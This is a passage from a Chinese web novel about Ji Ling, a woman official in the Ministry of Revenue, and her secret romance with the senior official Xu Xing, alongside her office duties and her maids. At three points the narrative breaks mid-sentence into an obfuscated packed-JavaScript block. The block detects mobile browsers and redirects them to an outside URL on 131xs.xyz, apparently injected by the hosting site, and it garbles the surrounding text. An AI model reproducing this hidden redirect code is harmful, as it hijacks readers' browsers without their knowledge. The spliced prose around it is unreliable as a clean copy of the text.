他苦读十余载,入仕十年,先辈亡而后辈出,同辈共行半程又各奔东西,倾其所有付出,也免不了风浪侵袭时偏移航向。 所以,季泠想说,共度余生,是个荒谬又天真的论调。而成熟如他,不该有这样的想法。 “那时候,你我都不会知道,我能成为户部郎中。更是绝对想不到,你与我,能有两心相映的缘分。”季泠笑着,说到缘分二字时,格外缱绻眷恋。 她不得不想,这段缘分,本不该是她的。 应明为何对她有敌意,实在是因为,他身旁的人,本不该是她。 当年,那位心地善良的应家小姐,若是没有因病亡故,此时此刻,他们应当儿女绕膝,应家与徐家能百世交好,他在朝堂上将有强大助力。因应疏滴水之恩而有存活之幸的成珏,也会因旧情而襄助徐行。 这才是他本来辉煌灿烂的人生。而她,不过是其中再平庸不过的过客。 一开始,这段缘分就是她算计来的。 是她,想要借昔日师生之情,为自己争得逃脱险境的机会。是她,故意再三靠近,想要借他的权势,达成自己的目的。 现在,她给不了他想要的,就该老实些,让一切回到最初。 “难道,你甘心如此与我遮遮掩掩一辈子吗?没有名分?不见天光?” 季泠敛目,她其实不是很想回应这件事情。每件事情要考虑十足的周全,实在过分靡费心力了,她精力有限。 很多事情,她知道计划定然赶不上变化,便就放逐它逐水而去,到哪儿算哪儿,她并不强求结果。 “可是徐行,现在索求名分的人,似乎是你。” 季泠无比冷静,令徐行愤然,“哦?你想随意甩脱我不成?”徐行锢住她的双臂,不许她逃离,逼迫她回应。 徐行不必思考就知道,若是今日他真听她在此胡诌,放她任意妄为,她绝对会和上次一样。 方才那件外衫并未穿得整齐,眼下就要因他的力道而从肩上滑落。 徐行盯着她的肩,突然想到那日她的反常,声音都冷了几分,“你这烫伤,究竟是意外,还是人为?” 季泠一震,没想到他会突然说起这个,只能硬着头皮答:“都有。” 果不其然,徐行眉头紧紧拧着,似乎要发怒了。 “目的。” 季泠看了看他的脸色,才说:“……很多人看出了端倪。傅停枫试探你我关系,看你是否会关心则乱。” “所以你顺水推舟,知道那侍女要来烫你,你也不躲?” 季泠闪躲着,“总归,不是什么大问题,快痊愈了。” “他是詹事府的人,是你一手提拔起来的,若是你公然展现出你对我的看重,暴露出一点沉迷情爱的苗头,焉知你的拥护者是否会考虑另择明主。他们不会允许,你用权势为一个底细不明的人作嫁衣。” “我没那么愚蠢。” “可你还是让他们察觉异样了。”季泠有点生气,“这不仅仅关系到你,徐行,还有我。水能载舟,亦能覆舟,我们两人若是捆绑过深,将来一人逢难,势必会牵连另一个人。” “这有何可惧?” “你出自翰林院与詹事府,是汉王日讲官。而我是公主府的人。” 所以,傅停枫对她的出现很意外。 他们的出身就是两个截然不同的阵营,虽不至于相互敌对,甚至时有合作,可牵扯不清,总是不好。 “所以,到现在你才想到此处?二月时,你说,心里有我,过了半年,才告诉我,不想与我捆绑?”徐行越说,笑意越甚,他太高大,挡住了烛光,眼睛藏在阴影里,季泠看不清。 寂静的风穿过他们之间的隔阂。 季泠向前一步,覆上他的手,又顺着他敛力的双臂上爬,直至她的脸贴靠在他颈边,尽力把声音放得很柔和:“我们现在的状态不是很好吗?你我各有自己的责任与抱负,闲时能够一块儿谈天,公务上能相互扶持。于你我而言,不都是极佳的选择吗?” “选择?”徐行咬牙,气得笑出声,“我于你而言,便只是一个选择吗?季执庸?” 季泠闻言抬起头,唇瓣不经意擦过徐行颈侧,她看见徐行喉头在上下滚动。 季泠抚上他的脸,细细摸过他比她多出的岁月窖酿的痕迹,轻声说:“不是,不是的…你一直是我的唯一。你想要的一切,我都可以给你。” 除了那纸婚契。 她们这样的人,若是交付了真心,就不能再随意订立契约。动辄粉身碎骨,不得不再三谨慎。公主如此,她也应当如此。 徐行目光深隽,抓住她的手,鼻尖点住她的鼻尖。 之前闲聊时,她爱在他面前感慨,哪家的小姐生得极漂亮,沉鱼落雁之容,闭月羞花之姿,京城的世家贵女都快被她夸出了花。每当说到自己时,她又不甚在意,说她貌若无盐,有些委屈徐行了。 徐行不免失笑,她这样的容貌气度,做男做女都是格外精彩。 现在看来,季泠压根不是自轻自谦。她很懂得利用自己一切优势——那双深极生亮、如曜石一般的眼睛,那副清泉淙淙的嗓音,还有,那含着少年人才有的、饱满热情的双唇。 “航青,你在诱我。” 徐行的气息劈天盖地洒落下来,季泠仿若置身于阴雨绵绵的春日,夹杂着四处乱飞的柳絮,徐行身上每丝每缕的味道像难以勾断的细线,细雨和扬絮开始密织一张天罗地网,将她缠起来、绕进去,她不得不小心翼翼地呼吸。 “你成功了。”他的声音低沉。 随即,脸上传来细柔的触感。 指腹在她皮肤上划过。 后是他温热的唇。 这回,是他在试探她,自甘坠入她划定的、有实无名的陷阱里。 季泠深知接下来可能发生什么。 即使做了心理准备,却还是乱了神,只能在迷茫间抛弃理智,由他侵入她的心房,推自己沉醉于他强硬的温柔中。 热息从她唇齿游荡到颈侧,她的双手紧紧扒住身后的木头,无论他多么克制,她还是有点害怕这般陌生的感觉。 在间隙中,季泠听见廊檐上的积雨滴落。 她想着,其实她本来就很愿意,徐行对她很好很好,一直在包容她,这世间真情本就难得,他的要求也不算过分。除了成婚外,他想要什么,她全部都给他。 季泠闭上了眼,臣服地仰起头,全力靠在随墙书架上,决定将自己供他享用。 而那人却停了下来。 徐行掖好她的领子,将她按在怀中。他腕间的那串佛珠抵在她后颈上。那是她在湖广病重时,他去寺庙求来的。 她也是后来听阅云说,徐行是从来不信鬼神之说,佛道之语。 现在,那已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446360|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然成了从前。 “航青,我真不知,该如何是好,”他看着季泠潋滟双眸,贴住她的额头,无声叹息道:“你明知,我不会。” 季泠低眉咬唇,她并不知道。 她没有一次计划能做到万无一失的肯定。 她不过是一个出身白衣、二十出头的姑娘,在世家子弟浸淫权术时,她还在想着如何让自己能永远有书读,如何让父亲母亲多疼疼自己。 有幸入了建州书院,得了各位先生赏识。又因为秦晗、钟荡云与华荣公主,她明白阅历、武力与权力才该是她终生所向之物。 若说宏志,许是栽树成荫蔽行旅者,亦是为世明灯照千百劫。若说俗心,她也不过是想衣食无忧,亲朋无虞,己身无拘。 他人在圣贤书中悟了几十年的东西,她用几年在生死场中学会了。 她羡慕徐行总能运筹帷幄,云淡风轻,而她只能履危行险,战战兢兢。既然她已经做好准备告诉徐行,也决定用这个方法平息他的怒气,那她自然也会做好全盘打算。 她不过红尘俗人而已,徐行也是,这并非可耻,她也不觉卑劣低俗。 徐行的点到即止是她意料之外,可这样更让她愧疚。 徐行已不年轻,又是这样的身份,还未娶妻,京城地方多少官员都眼巴巴地盯着他枕榻边的位置,高门千金也好,绝世美人也罢,明里暗里地都涌到他身边去。谈笑之间,他一一婉拒,叫人意外。 她也知道,徐家父母很着急他的亲事。在上回去同僚家中吃席时,她便听到徐翰程在问询门当户对的姑娘。 她坐在徐翰程身后,背后陡然发热,颇有几分做贼心虚之感。 说到底,是她耽误了他。 铜壶滴漏滴答作响,季泠听了许久,也没听到徐行的续言。 她又开始兀自煎熬,这样的氛围对她而言委实太过沉重,而她一向希望浮云堂里的自己能够保有几分轻松快活。 当季泠抬眼想要探究时,却心中一紧——她在听那滴漏或是积雨响声时,神游物外时,徐行一直在看着她,神情落寞。 她见惯了他的云淡风轻,温和从容,也能窥探他的隐忍淡漠,深情温柔。可她从未见过他的落寞,而这样不合时宜的情绪全然因她而起。 胸腔内骤缩的疼痛不知缘自何处,季泠一下便慌了:“徐行……” 他仍那样望着她,似乎她从来都不属于他,将要狠心抛下他,自个儿快活去。 徐行喉间的话滚过好几回,就是说不出。 “航青,”他的声音喑哑,盖过了滴水声,留下水洼中阵阵涟漪的余韵,“你正值风华,而我已及而立。” 他一顿,不免自嘲一番,“你也知道,我是什么样的人。” 季泠默然,双眸噙泪。她知道,平,静,柔,和,处变不惊,岿然不动,没有什么能让他心绪起伏。虽然她并不明白,徐行这一生顺遂如意,却为何过分权衡利弊,谨慎守矩。 “其实我觉得这样也不错,清歌烈酒相和,也算美事一桩了。”徐行从前从不说这样的话,季泠听得很认真。 “现在,你要我收回,我是万万做不到的。” 季泠鼻子一酸,不知道如何回应他。她只听见他怅然而叹,“所以,依你,我都依你。” 季泠愕然万分,震惊于他的回答。她原本以为,依他行事风格与她的不愿让步,兴许最好的结局是心照不宣的一拍两散。 徐行的吻又落在她的唇上,文火烹煮般的咸涩在唇齿间流淌。 “你若以为我是个好说话的,那便错了。”他低声说,抛弃日复一日的束己律令,偏要故意威胁她,“我向来是独断专行,正如当初我要你想清楚,你就该想清楚,我想拉你共坠情江欲河,你逃不掉的。” 他珍重吻去泪水,她凝湿的睫毛轻颤,“所以,我认定了,我的妻子只你一人,我不会再将这个位子拱手让人。” 他咬住她的唇瓣,叫季泠吃痛,却不敢闪躲。 “我也不会放任你为了来日不过万分之一可能的分道扬镳,就自作主张离我而去。” 艳色在她唇上绽放。 “我不管你认不认,总之我是认定了。不过一份庚帖,一纸婚书,一场婚礼,你不要,我依你。反正总归属于你。” 温热的指尖停在她的嘴角,一寸下是微凉的窃曲纹玉韘,抵住她的下巴。片刻后,那枚玉韘到了她掌心中。 在今年,徐行而立,徐父将家族重任交到他手上。 “若是哪一日,你后悔今日所言,尽管来说,我必扫榻相迎。” 季泠还想说什么,可徐行不许了。 他真如他说的那样,是个独断专行的人,并不好说话。 甚至他第一次展露他的霸道,毫不留情地夺走她喘息的余地,步步紧逼,叫她无处遁逃。 99. 徐侍郎初宿浮云堂 第二日清晨,季泠醒来时,徐行已经离开。 她问了前院的侍卫,徐行是天才擦亮时走的。 马车内,林微瞧着季泠极不自然的脸色,欲言又止。 “执庸,你与徐大人…” 季泠瞬间有种被看透的尴尬,眼神乱花一样四散,又摆摆手哈哈一笑:“嗯……你放心,没发生什么……只是昨夜谈事太迟了,他就睡在次间。” 说完又偷偷瞄了林微一眼,见她小小松口气,她才大大松口气。 到了值房,见到里头的景象时,季泠却是一顿。 今日她本是要过目湖广赈灾的述职公文,定下后呈到内阁那儿作个赈灾款项的汇报,却忘记眼下她是湖广司的一把手,更是忘记自己肩上还有华峰书院的责任。 她那小小值房里,乌泱泱一片人,全是来请她裁夺用印的。 季泠坐在书案前,众人候在堂中,值房内静悄悄的,仅有季泠翻动纸页的声音。 湖广司原来定额郎中一,员外郎二,主事四,典吏书吏则无专门定额。 而季泠入户部当年至今一直都只有三位主事,她如今升了郎中,四个位置一下子空缺出两个,实在不便。 既然她做了湖广司的领头人,自然该重视此事,提了两位年轻人上来,一位姓汪,一位姓陶,这段时日,两位新主事正随着任职多年的两位老主事熟悉湖广司政事,她也需要费心去再带带两人,将来才能用的更顺手些。 几位麾下官吏静侯着,眼观鼻鼻观心,终于等到这位年轻郎中说话:“书院这儿是怎么回事?” 季泠头也没抬,仍在快速翻着这段时日的文书,提笔落笔,速度快得令人咋舌。 一人忙出面回话道:“礼部那儿说,不该继续提女学生的比例……” 说完,小心翼翼看了季泠一眼,她并没什么反应,只是将那份咨文抽出来放到一边,忙不迭又继续翻阅后续附文。 “哪位大人说的?” “这…” 季泠抬头瞄了一眼,看来是不知道了,估计也是礼部人搪塞的话,“你再去送一趟,问清楚些,年末就该开始着手下一年招新事宜,若是与明年春闱撞上,礼部更不乐意搭理此事。” 季泠顿了顿,又嘱咐道:“前几日在御前,圣上与谭大人提到,今年夏季祈雨大典办的不错,天佑我朝。你送咨文去时,问问礼部那儿都得了什么赏,回来也让咱们听一听,沾沾喜气。” 那人想了想,大抵明白了季泠的意思,捧着咨文退下了。 如此一桩一件处理完,午膳时辰早已经过去。 季泠挥了挥手,让他们午后再来,众人领了她批阅的公文,行了礼又纷纷退下。 “祝员外郎,留一步。” 季泠坐在案前,最后离开的祝扶春笑了笑转过身,抬步就朝她走去。 季泠摘了斗篷,见厅堂内已经无人,虚手一指道:“坐下吧扶春兄,别拘在那儿,站太远了我听不清。” 季泠能感受到,自从她从湖广回来,正式升任为郎中后,祝扶春就与她疏离许多。 祝扶春曾经也是天下读书人的榜样,却被她短短三年超了去,若换做是她,心里大抵也会生出些不平。 她在他面前应该放下官架子,继续拉进距离,仍然保持曾经好友关系,莫让他与自己离心。 祝扶春坐下后,抬眼要与她说公事时,却遽然变了脸色。 “执庸,你的嘴……” 季泠猛然一震,顺着他的视线摸上自己的嘴唇,下意识舔了舔,有些咸腥,是破掉的伤口还未愈合。 季泠神色如常道,“无妨,不是大事。” 祝扶春却追问不休,“这伤口怎么来的?” 季泠暗道不妙,今晨出门时脑子乱糟糟的,都没仔细检查一番。不过即使注意到了,这样显眼的部位她也没法掩饰… 季泠起身活动活动筋骨,坐着一上午,她腰腿都酸疼不已,顺便为自己添了一壶水,一转身却发现祝扶春的眼神漫出阴影,看得她头皮发麻。 季泠只好干笑两声,倒了杯水递给他,“不小心咬破嘴,虚火过旺,有些溃疡了。” 季泠脸不红心不跳,张口就开始扯谎,可祝扶春的脸色却愈加怪异。 下一刻,他箭步走来,偏拧过她的下颌,盯着她的颈侧,声音都紧了几分:“脖子上是什么?” 季泠疑惑不解,摸了摸脖子,什么也没摸到。见他眼神中晦暗不明的质疑,又想到嘴唇上的口子,终于意识到不对劲。 “哈哈,我招蚊子。这几日天复热了,蚊虫多,是不是被咬了好几口?”她扯起笑,随意地转了转脑袋,随他看她究竟被咬了几口。 祝扶春见她如此轻松,终于松了眉头,也随她笑了起来。 “原来是蚊虫,我还以为是….” “是什么?” 祝扶春瞧季泠双眼明澈,似乎全然不通此事,便也不再多言其它,只是仍不放心,仔细查看着,“怎被咬了这么多口?一夜也没消掉?是毒蚊子吧?” 季泠背过身,猛得喝了一大口水,掩盖自己的心虚。 “嗯,可毒了。我耐不住痒,使劲挠,越挠越红。”说罢,恨不得立刻见到某人,将他狠狠大骂一通。 “我瞧着,定是你院中的花草太多,你那窗前新种的栀子、金桂,香味浓重,你又不爱关窗,可不是容易招引蚊虫。幼时我与霜儿在建州乡野玩耍,常常被毒蚊子叮咬,越挠越疼,怎么也好不了。你切记不要多挠,否则破皮了会留疤的……” 祝扶春絮絮叨叨起来,季泠眼见这话题要没完没了了,立刻制止住他。 “湖广那几个州府的灾情堪核文书在这儿,” 季泠将一沓文书扔给了他,“先是漕船沉没,存粮被挪,又逢旱灾疫病,民力微弱。眼下该注重休养生息,与民恢复,酌情除租蠲赋。我手头腾不开,你先看看各地灾情严重程度,参考往年大灾情况,拟个章程出来,我们寻个日子商议此事。” 深夜回到浮云堂,白芨白蔹服侍季泠沐浴,白芨垂头递来镜子,抿着唇替她散发,沉默不语。 季泠见她们反常模样,伸手扇开缭绕水汽,终于看清自己肩颈处的痕迹。 过了一日,已经很淡了,稀疏布落在无暇之处,仍是过分显眼。 季泠干咳两声,将镜子放下,看着水面波澜中的自己,双颊被净房的热气蒸得泛红。 “咱们刚搬进来时,撤下的那些帘子围屏还在吗?” 白蔹点头回话:“在呢大人,都好好收着,前几日日头好,我们还拿出来晒了晒。” 季泠点了头,吩咐着:“那寻个日子,把东西布置起来吧。” 白芨白蔹在迟疑中应声,季泠想了想,还是让她们知道为好,免得做事没个轻重。 “之后…他会常来的。” 白芨白蔹面面相觑,白蔹已然按捺不住:“大人,可徐大人他……” “白蔹,”季泠打断她,“不必担心。” 白芨取下长巾为她擦拭穿衣,季泠系着衣带,朝她们笑笑,“再怎么说,我也是朝廷官员,不会让自己吃亏的。” 两个侍女从公主府陪她到此处,是实实在在关心她的人。无论她再怎么纵着她院里的这些侍女丫头,可也该懂点事了。 她们少走到季家之外的天地中,对徐行的认识不过停留在一方宅院内,她与徐行看似平等的相处,对徐行是吏部二把手的身份压根没概念。 长此以往,她这儿到访之人越来越多,她们心里没个方圆,怕是会误事。 “我告诉你们,是想你们警醒些。我如今升了郎中,日后季家进出的人难免多些,许多还是我得罪不起的人。” 季泠看了看白蔹,那姑娘缩了缩脖子瘪瘪嘴,大抵心里也明白,她家大人是在点她。 “徐大人也是其一。他与我关系再如何……”季泠顿了一下,“亲密。可万事都是没有定数的,本质上,他是吏部三品侍郎,我不过是户部一个小小的郎中,你们从公主府出来,自该知道,公主府不可能是我长久的依靠,能时不时恫吓一些心怀异心之人,却不能挡住那些想置我于死地的明枪暗箭。你们,明白吗?” 白芨白蔹应诺,季泠轻拍了她们肩膀,知道她们无论自身性子如何,毕竟也是在公主府里做到东三所侍女的姑娘,小事随意无妨,大事心里都是有数的。 回到书房,季泠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音落下,三人陡然陷入沉默,季泠接过后,逃也似的走回屋内去。 将徐行的官服取出挂起,季泠端着漆盘步入净房内。 前头放水时,她仿佛听见白芨白蔹的声音,眼下只剩韩嬷嬷的声音了。 屏风后,传来一阵暴雨般哗啦啦的声响,随后则是小雨般淅淅沥沥的滴水声。 季泠下意识偏头看去,透过青纱屏风,她瞥见了那具身躯。 她曾与徐行过过几招,知道他身手不错,只是平日一身文人直身,再加上那副柔澹如水的性子样貌,难免让人忽略藏在这幅皮囊下的本事。 眼见一串串水珠顺着精心镌刻的身体缓缓滴落,季泠猛然低下头,弱弱唤了一声韩嬷嬷,将手中的衣裳一把塞给韩嬷嬷时,瞄到屏风后的人僵住,她落荒而逃。 院子里有侍卫守着,季泠不敢出去吹风醒神,书房张罗汉床仍留着旖旎痕迹,她亦不敢去面对。 思来想去,季泠还是跑回了让她心安的里间,坐在榻上,推开支摘窗,出神盯着窗外方寸景色,月辉如流银般穿梭在海棠枝桠之间。 穿好衣服的徐行踱步而出,单腿跪在榻上,把她十足十地抱了个满怀。 他身上仍含着水汽,他的味道间染上她往日惯用的香胰味,清冽般的沉静,令人登时舒缓安心。 “睡吧,天色不早了。”徐行在她耳后呢喃。 原来,里间中多了个人,是这样的感觉。 其实也不算很坏,季泠昨夜那样想。 而后转过身去,拦腰环住徐行,感受到他胸膛心跳与她颈侧脉搏的鼓动同频。 徐行低头看着窝在怀中的人,难得对他产生几分依赖,心中落了定,将她紧拥住,抚摸着她的头,轻轻拍着她的背。 窗外海棠已经落了,海棠花瓣的柔软淡粉遗落在季泠心底里。 这样哄孩子的动作,在她六岁之后,就再没人对她做过了。 徐行是第一个。 季泠有点想哭。 她才知道,原来人在幸福到心无旁骛的程度时,会抑制不住流泪的冲动。 100. 画中景亦是心上人 “怎么了?”徐行的声音夹杂着未散的潮气,很像被浪打湿的沙粒,黏在她的脚底。 季泠在他怀里蹭了蹭,嘟囔着:“你在守身如玉吗?” 然后她就听见徐行大笑,带起的震动像浪花一样打在她心口上。 片刻后,徐行抱起季泠,轻柔放在床上,屈膝蹲在她身前,将她的双手裹在自己掌心中,笑盈盈道:“是,我在守身如玉。” 季泠立刻就有点生气了:“我虽说不想与你成亲,可也绝不想听见你在我面前说为其它人守身这样的话。” 反正她本性如此,徐行也不是第一天知道,她小气又贪心,她就不会允许他越过她去妄想她人。 徐行却笑得更加开怀,惹得季泠伸手捶打他好几下,却又被他含笑捉住。 其实季泠想告诉徐行,他使的力气那样小,是抓不住她的手的,因为她会射箭,力气很大,百步穿杨,徐行没法制服她。 但是,当季泠看见徐大人蹲在她身前,而她正坐于床边,她突然就不想说了。 因为她隐隐有些得意,虽然不知道自己究竟在得意什么,直想着,反正她也是大人,那她就让让他,让他高兴一回也不错。 徐行将季泠蜷缩的手抚平,在她掌心留下痒痒的亲吻,随即起身坐在她床边。 和她坐在一起,在她的床上。 季泠下意识想开口制止,但当徐行揽住她,她靠在他身上时,想到徐行才沐浴过,穿着洁净的中衣,她犹豫都未曾给出,就收回话头,默许他进入她的私密世界。 “一天天脑袋瓜想什么呢?”徐行敲了敲她的额头,季泠皱着眉笑着,却没能躲过。 “我自然是为你守身。” 他的声音真好听。 季泠不合时宜地想着。 “我是男人,便也算了,世俗对男人总是宽宥许多。可你是姑娘,未到真正婚嫁那日,我不应破戒越矩。” 季泠却似乎着急自证一般,脱口而出道:“我不在意。” 语罢,她立刻就后悔了。仿佛她多等不及似的。 都怪他,都是他非说到此处的,害得她好端端的,又丢脸。 徐行又笑了,挠了挠她的下巴,乐得像逗小猫一样逗弄她,“我知道,可我在意。小事倒也罢了,都随你。这样的大事,我还是希望有始有终,名正言顺。” 季泠揪住徐行的衣角,点了点头。他尊重她,体贴她,放纵她,想得比她周全,她万分感激。 季泠躺下后,徐行坐在六足鼓凳上,看见季泠仍傻乎乎看着他,似乎毫无睡意,只好无奈说:“明日点卯,你再不睡,可要迟了。这三年,你可从未迟过一日的。” 季泠一听立刻闭紧眼,她才不会允许徐行在她光辉档案上记上一笔。 想到季泠睡觉不老实,徐行又伸手替季泠掖了掖被角,后就静静注视她。 在昏昏沉沉的暖黄睡意中,徐行轻微活动了一下手指,季泠回攥得更紧了,半张脸埋在被子中,低声说着什么。 徐行俯身去听,季泠梦呓般说:“别吹灯……” 徐行这才发现,似乎她的浮云堂总是灯火通明——落地的灯架,案几上的桌凳,挂起来的壁灯,比常人家中多出许多。 原来她怕黑。 季泠公务忙碌,常在衙门呆到夜里,曾经任主事时还需要值夜,更莫论她昔日摸去各处偷寻钱党证据,独自夜行已非罕事。 是以徐行完全忽略了这样的细节,可如今细细想来,她确实很少吹灯再睡,基本都是一盏烛火点着,睡着后,蜡烛也就自行燃尽了。 “好,我不吹灯。一会儿我吩咐韩嬷嬷将次间收拾出来,你别怕,我会在。” 季泠迷迷糊糊点头,朝徐行那儿靠去,很快睡着了。 晚间,季泠收到了一幅画。 展开画卷,是一幅月下竹影图。 徐行画竹,却不直接画清幽竹林,而是画白墙上的竹影。 墨色深浅得当,几笔就勾勒出竹子的秀叶峻骨。 竹影上覆了一层灯影,绘出的是灯影映照的回字纹窗棱。 一轮明月高悬旷远,轩窗夜烛灯火疏落,远离光源的白墙上空着一道月洞门,所有影子散开,虚大而朦胧…… 似乎还有第三重影子。 季泠端过烛台,凑近了些,从窗牖门下廊看到庭院月洞门,却是一怔。 掩藏在竹影与窗影之后,还有第三重影。 那是人影,两个人影。 一人在月影下起舞,一人随地坐在竹林边的石头上抚琴。 季泠出神地摸着那两抹人影,笑意浮上脸庞。 她听过徐行弹琴。 初次是在建州,她去送学生们的文章,那时她已经能够摸准徐行的偏好,将文章排整得当,看起来便是用了心的,不再是敷衍了事。 踩着生了青苔的石阶,走到山腰泉边的深深竹林处,徐行在六角亭中抚琴。 下一次听到徐行的琴,是今年暮春时节,她去徐家找徐行商议贺晋环与闫有德挪粮案一事。 行止斋很大,她跟在览风身后,穿过雅致静谧的回廊,看见苦楝树下的徐行。 一身绿玉色缠枝莲纹道袍,头戴网巾,如玉般的手指拨着丝弦,她踏着乐声慢慢走近。 那时候,苦楝树正开花,细碎的阳光落在他的鼻尖与指尖。 听见她来,徐行侧头一笑,暮春的柔和在他唇边漾开。 左缓摇,右轻挑,丝弦颤动,曲终人至,苦楝被悠长余韵震落。 季泠那时就想,清歌曼舞,相得益彰。 倒是没想过,他画中情全了她心中景。 寻了个好地方挂上竹影图,次间传来细细密密的低语声。 季泠听见白蔹惊叫的声音,虽然她本意并不想打扰她,可季泠却来了兴趣,挑了帘子走到次间去。 “在说什么呢?” 白芨白蔹与韩嬷嬷三人围在松木衣架边,齐齐转头看来,季泠透过她们之间的缝隙,看见了一件本不属于浮云堂的衣服。 白蔹急急答:“大人!这…徐大人的衣裳怎么在这儿?” 季泠语顿,走上前去。徐行身量高大,他的三品绯红官服也气派非凡,季泠抚摸着绯袍上的纹路,心中浮现一个绝好的主意。 片刻后,候在次间的三人被一道雀跃声喊进了里间。一入眼,就是炽热颜色中的闪亮眼眸。 韩嬷嬷无奈道:“姑娘!您这……不合规矩啊!” 季泠已经将那身绯袍穿到了自己身上。 规矩? 浮云堂里,她季泠才是规矩。 不过韩嬷嬷毕竟是徐行的人,又是长辈,季泠只是笑笑道:“没事的嬷嬷!没人知道!您可别告诉少爷!” 说罢,朝她眨了眨眼,又道:“有时我穿着赤罗衣,就想着要是能够日日穿着如此鲜艳的衣服行走于朝野就好了。只可惜,四品以上才能穿绯袍,而我又才进了郎中,这几年擢升怕是轮不到我了……” 说到此处,季泠明显有些难过,其实不是难过于这几年擢升轮不到她,而是担心,兴许之后她的仕途都不会顺利。 六品升五品倒还算容易,可五品升四品,看似只升了一阶,地位身份却是截然不同。 如今连书院之事,礼部都在暗中阻挠,更莫论她想要再进一步,大展宏图。 季泠不愿意许给徐行明确的未来,大抵也有此因。 昔日她已在户部任职两年,虽说众目睽睽之下暴露了女身,可官袍一穿,在外人眼里似乎也只有名义上的改变。她仍旧是年少有为,勤勉张扬的户部主事。 可近一年来,翰林院与礼部,甚至是都察院,对她的不满已不可同日而语。 若说徐行是人人都想亲近的美玉,那她季执庸怕是正派人见了就要吹胡子瞪眼的异端。 天下大事,改弦更张,确实没有她想象中的容易。 敛下心思,季泠甩了甩大袖,似乎又自得其乐起来。 白芨仍有些担忧:“大人,您不是说,前段时日都察院和礼部才因服制之事参了您吗?” 那不过是一件极小的事情,就是她在去书院孔庙时,没有穿正经官服,穿的是一件体面正式的四?袄,没成想转头就因此被参了一道,真是有冤无处诉! 季泠摆摆手蛮不在乎,“他们想捏我的错处也不是一日两日了,天天眼睛恨不得长在我屁股后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446362|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头跑!还不是因为抓不到我的把柄,这才瞅着我穿的衣服不放。哪怕我衣裳穿对了也无用,何苦日日穿衣吃饭受这些桎梏。” 季泠无奈笑叹:“你可知,今日我又领了一道参本。” 白芨白蔹一惊,忙问是因为何事。 左不过就是她与其他几位户部郎中一同议事后立场,因没有谦让而率先走出去衙门,被讥讽女子不通孔孟儒道,竟连谦让之举都不行了,体统规矩被视作无物,长此以往,天下岂非礼崩乐坏。 这样大的一顶帽子扣下来,季泠还真怕自己被压死。 季泠想了想,还是不要拿这些事情跟她们说道,省得惹她们平白忧心,只说,“不是什么大事…你们快来看看,是不是比青袍好看许多?” 三人抬眼看去,刚想说些什么,却欲言又止。 季泠低头细细摸着袖口的散答花纹,实在是爱不释手:“还是略大了些,唉,不过这料子就是好。同样是做官,凭什么料子上还区分对待?” 白芨白蔹瞧着,季大人虽说吃了参本,可这心情似乎全然不受影响。 “不过你们说这也怪,我升官之后,俸银分明变多了,可咱们这私库里的钱怎么还变少了?本想给自己置办两身行头的…” 季泠继续嘟囔着,白芨笑说:“大人您忘了?您回来这段时日,上下打点回礼,都使了不少银钱。如今将要年中,后头的中元中秋筹备着,也要支银子的。” 白芨心思细,一直替季泠管着她的私库。 其实大户人家里头,全家嚼用的公账与各院私房都该分开的,可季家就她这一个当家人,季泠里外忙着分不开身,倒也一直没有去区分。 总归能挣回钱的也就她一人,公账私账也全是从她手中出去,她反倒懒得再去多倒腾一手。 “等这阵子忙完,我也该给你们涨涨俸禄,没有我升官,你们还过苦日子的道理。你们可是不知道!连阅云的俸禄都比我多!韩嬷嬷您说,这是什么理?我可没少给他徐少爷办事吧!这份俸禄分红从不见到我手中不说,怎我曾经一个六品官,竟还被他比下去了?” 说到此处,季泠又似乎很抱歉,看了看她的贴身侍女,叹了口气:“唉,白芨白蔹,你们没跟对主子啊,若是你们跟了徐行,兴许早就穿金戴银了,怎还会同现在这般,连京城时兴花样衣裳都穿不上。” 白蔹一听季泠这样说,也不顾韩嬷嬷拽她袖口,着急忙道:“就算睡的是金床玉枕,我也不去徐家!跟着大人,就算是睡芦席茅屋,奴婢也心甘情愿!” 季泠赞赏地捏了捏她的脸,这三年,白蔹被她养得脸颊圆鼓鼓,实在是可爱至极:“好姑娘,真没白费我每月给正堂里添那些果子糖糕的攒盒,将你的嘴吃的比蜜还甜,说的全是我爱听的话。” 白蔹咯咯笑起来,白芨与季泠也看着她笑开。 那堂屋里的点心说是季泠添的,可平日浮云堂负责采买的都是白蔹,她私心拣选着自己爱吃的东西,也就这么一个爱好,季泠与白芨也就随她去,只嘱咐她莫吃过头了,否则做新衣裳时多费的两尺布可要从她口粮里扣下来的。 韩嬷嬷看向季泠,笑眯眯道:“姑娘大可以带着她们两个丫头入了徐家门,来日成了徐家少夫人,既让您远超阅云去,还让这几个丫头过上小家小姐般的生活。” 徐家几代人累积下来的富贵,怎么说都能诱人心动吧? 季泠俯身凑近铜镜,摆弄衣裳的领口。 这身衣袍不大合身,肩线处坠得起了褶,领口下也皱巴了,倒是显不出它本该有的气势。 季泠要努力抚平它,这样才能看清她来日穿上绯袍的模样。 